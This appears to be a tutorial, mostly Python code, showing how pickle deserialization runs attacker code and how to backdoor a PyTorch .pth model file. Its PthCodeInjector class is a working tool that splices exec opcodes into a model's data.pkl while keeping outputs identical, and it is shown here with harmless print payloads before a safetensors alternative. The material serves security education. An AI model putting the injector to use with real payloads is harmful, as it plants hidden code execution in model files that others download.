Envenenamiento de Pickle en Python y puertas traseras en archivos Pth

# Check PyTorch Version, PyTorch GPU, torch cuda version
try:
	import torch
	print(f'PyTorch Version: {torch.__version__}')
	print(f'Path: {torch.__file__}')
	print(f'\nCUDA Available: {torch.cuda.is_available()}')
	if torch.cuda.is_available():
    	print(f'CUDA Version: {torch.version.cuda}')
    	print(f'Graphics Card: {torch.cuda.get_device_name(0)}')
    	print(f'# of GPUs: {torch.cuda.device_count()}')
    		for i in range(torch.cuda.device_count()):
        	print(f'\nGPU {i} Details:')
        	print(f'  Name: {torch.cuda.get_device_name(i)}')
        	print(f'  Memory: {torch.cuda.get_device_properties(i).total_memory / 1024**3:.2f} GB')
	else:
    	print('\nRunning on CPU only')
    	import multiprocessing
    	print(f'CPU Cores: {multiprocessing.cpu_count()}')
except ImportError:
	print('PyTorch is not installed. Install with: pip install torch')
except Exception as e:
	print(f'An error occurred: {str(e)}')

$ python3 -c "import pickle; print(f'Default Protocol: {pickle.DEFAULT_PROTOCOL}\nHighest Protocol: {pickle.HIGHEST_PROTOCOL}\nAll Available Protocols: {list(range(pickle.HIGHEST_PROTOCOL + 1))}')"

import pickle
import random

# Generate random tabular data for our example
tabular_data = [
	{
    	"id": i,
    	"name": f"Item-{i}",
    	"value": random.randint(1, 100),
    	"category": random.choice(['A', 'B', 'C'])
	}
	for i in range(1, 6)
]

# Store the pickle data in a file named 'payload.pkl'
# At this stage, payload.pkl would behave as expected with no potentially malicious side effects during deserialization.
with open('payload.pkl', 'wb') as f:
	pickle.dump(tabular_data, f)

# Our class containing arbitrary code we want to execute:
class Malicious:
	def __reduce__(self):
    	# The following code will execute during deserialization
    	return (print, ("Hello World! Only load pkl files from trusted sources!",))

# Replace original data with malicious code
malicious_payload = Malicious()

# Store potentially malicious pickle data in the same file
with open('payload.pkl', 'wb') as f:
	pickle.dump([tabular_data, malicious_payload], f)

# Load the pickle file to show potentially malicious side effects
print("Loading the pickle file 'payload.pkl':")
with open('payload.pkl', 'rb') as f:
	data = pickle.load(f)

# Verify the content of the loaded data
print("\nLoaded data:")
print(data)

import torch
import torchvision.models as models
import zipfile
import struct
from pathlib import Path

class PthCodeInjector:
	"""Minimal implementation to inject code into PyTorch pickle files. (ZIP file with data.pkl)"""

	def __init__(self, filepath: str):
    	self.filepath = Path(filepath)

	def inject_payload(self, code: str, output_path: str):
    	"""Inject Python code into the pickle file."""
    	# Read original pickle from zip
    	with zipfile.ZipFile(self.filepath, "r") as zip_ref:
        	data_pkl_path = next(name for name in zip_ref.namelist() if name.endswith("/data.pkl"))
        	pickle_data = zip_ref.open(data_pkl_path).read()

    	# Find insertion point after protocol bytes
    	i = 2  # Skip PROTO opcode and version byte

    	# Create exec sequence with protocol 4 pickle opcodes
    	exec_sequence = (
        	b'c' + b'builtins\nexec\n' +  # GLOBAL opcode + module + attr
        	b'(' +  # MARK opcode
        	b'\x8c' + struct.pack('<B', len(code)) + code.encode('utf-8') +  # SHORT_BINUNICODE
        	b't' +  # TUPLE
        	b'R'	# REDUCE
    	)

    	# Insert exec sequence after protocol bytes
    	modified_pickle = pickle_data[:i] + exec_sequence + pickle_data[i:]

    	# Write modified pickle back to zip
    	with zipfile.ZipFile(output_path, 'w') as new_zip:
        	with zipfile.ZipFile(self.filepath, 'r') as orig_zip:
            	for item in orig_zip.infolist():
                	if item.filename.endswith('/data.pkl'):
                    	new_zip.writestr(item.filename, modified_pickle)
                	else:
                    	new_zip.writestr(item.filename, orig_zip.open(item).read())

# Example and validation
if __name__ == "__main__":
	# Create and save original model
	torch.manual_seed(0)  # For reproducibility and comparing the outputs of the models
	model = models.mobilenet_v2()
	model.eval()
	torch.save(model, "mobilenet.pth")

	# Test original model
	test_input = torch.randn(1, 3, 224, 224)
	original_output = model(test_input)

	# Inject payload
	modifier = PthCodeInjector("mobilenet.pth")
	modifier.inject_payload("print('Hello world! Only load pth files from trusted sources!')", "modified.pth")

	# Load and test modified model
	modified_model = torch.load("modified.pth")  # Should print warning
	modified_model.eval()
	modified_output = modified_model(test_input)

	# Verify models are identical
	print("\nVerifying model equivalence:")
	print(f"Structure matches: {str(model) == str(modified_model)}")
	print(f"Outputs match: {torch.allclose(original_output, modified_output)}")
	print(f"Parameters match: {all(torch.equal(p1, p2) for p1, p2 in zip(model.parameters(), modified_model.parameters()))}")

import torch
from torch import nn
from safetensors.torch import save_file, load_file

# Example PyTorch model (a simple feed-forward neural network)
class SimpleModel(nn.Module):
	def __init__(self):
    	super(SimpleModel, self).__init__()
    	self.fc1 = nn.Linear(10, 50)
    	self.fc2 = nn.Linear(50, 2)

	def forward(self, x):
    	x = torch.relu(self.fc1(x))
    	return self.fc2(x)

# Create an instance of the model
model = SimpleModel()

# Generate some random weights (or assume it's a trained model)
example_input = torch.randn(1, 10)
output = model(example_input)  # Forward pass with random input

# Save the model's weights to Safetensors format
weights = model.state_dict()  # Get the state dictionary of the model
save_file(weights, "model.safetensors")

# Loading the model's weights from Safetensors format
loaded_weights = load_file("model.safetensors")
model.load_state_dict(loaded_weights)

# Verify loading worked by making another forward pass
output = model(example_input)
print("\nModel output after loading weights from 'model.safetensors':")
print(output)